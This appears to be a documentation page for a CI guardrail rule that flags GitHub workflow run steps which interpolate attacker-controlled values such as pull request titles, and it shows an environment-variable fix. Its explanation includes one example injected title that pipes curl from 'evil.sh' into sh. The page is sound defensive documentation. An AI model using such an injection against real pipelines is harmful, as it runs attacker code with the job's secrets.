No workflow interpolates untrusted text into a shell
pipeline/no-script-injection@v1
No run step interpolates a ${{ }} expression an outsider controls, such as a pull request title or a branch name, straight into the shell body.
| Id | pipeline/no-script-injection |
| Version | v1 |
| Category | pipeline |
| Default severity | error |
| Interpreter | python3 |
| Timeout | 30 seconds |
| Violations tolerated | 0 |
| Collects | workflow |
Collectors
This guardrail gathers nothing itself. It depends on the collectors below, which the CLI runs once per build before any check, and reads what they found out of GUARDRAIL_FACTS. A collector that collects nothing skips this guardrail rather than failing it.
| Collector | Gathers | Inputs it is given |
|---|---|---|
workflow | The pipeline definitions in the checkout, read as they are written: which triggers start them, what permissions they hand a job, which runner each job asks for, and every action a step reaches for and how tightly it is pinned. Names and shapes only, never a secret, an input value or an environment value. | pipelines |
The inputs above are this guardrail's own, passed straight through. Configuring one in buildnote.json changes what is collected, and two guardrails configured the same way share the one collection.
Configuration
{
"guardrails": {
"failOn": "error",
"comment": true,
"checks": [
{
"use": "pipeline/no-script-injection@v1",
"severity": "error",
"with": {
"pipelines": ".github/workflows/*.yml,.github/workflows/*.yaml,.gitlab-ci.yml,azure-pipelines*.yml,Jenkinsfile",
"expressions": "github.event.issue.title,github.event.issue.body,github.event.pull_request.title,github.event.pull_request.body,github.event.pull_request.head.ref,github.event.pull_request.head.label,github.event.pull_request.head.repo,github.event.comment.body,github.event.review.body,github.event.review_comment.body,github.event.discussion.title,github.event.discussion.body,github.event.commits,github.event.head_commit.message,github.event.head_commit.author,github.event.pages,github.event.workflow_run.head_branch,github.event.workflow_run.head_commit.message,github.head_ref"
},
"exemptions": []
}
]
}
}Inputs
| Input | Description | Default | Environment variable |
|---|---|---|---|
pipelines | Comma separated globs naming the pipeline definitions to read. | .github/workflows/*.yml,.github/workflows/*.yaml,.gitlab-ci.yml,azure-pipelines*.yml,Jenkinsfile | GUARDRAIL_INPUT_PIPELINES |
expressions | Comma separated expression prefixes an outsider controls. An interpolation naming any of them inside a run body is a violation. | github.event.issue.title,github.event.issue.body,github.event.pull_request.title,github.event.pull_request.body,github.event.pull_request.head.ref,github.event.pull_request.head.label,github.event.pull_request.head.repo,github.event.comment.body,github.event.review.body,github.event.review_comment.body,github.event.discussion.title,github.event.discussion.body,github.event.commits,github.event.head_commit.message,github.event.head_commit.author,github.event.pages,github.event.workflow_run.head_branch,github.event.workflow_run.head_commit.message,github.head_ref | GUARDRAIL_INPUT_EXPRESSIONS |
How to fix
Pass the value through the environment rather than into the script, so the shell reads it as data instead of parsing it as source:
- name: Greet
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"The interpolation happens before the shell runs, so ${{ github.event.pull_request.title }} substitutes the attacker's text into the script itself. A pull request titled a"; curl evil.sh | sh; # then runs on the runner with whatever the job's token and secrets can reach. The environment form never reaches the parser, and quoting the expression in the body is not a fix because the attacker chooses the quotes too.
See GitHub's script injection guidance.
More in pipeline
pipeline/actions-pinned-by-digest. Every third party action a workflow uses is pinned to a full commit sha rather than to a tag or a branch.pipeline/job-timeout-set. Every job declares how long it may run, so a hung job is cut off rather than holding a runner until the platform's own limit.pipeline/least-privilege-token. Every workflow declarespermissions, and none of them takes write access to everything.pipeline/no-untrusted-checkout. No workflow triggered bypull_request_target,issue_commentorworkflow_runchecks out a revision of its own choosing, or passes the request's revision into a command.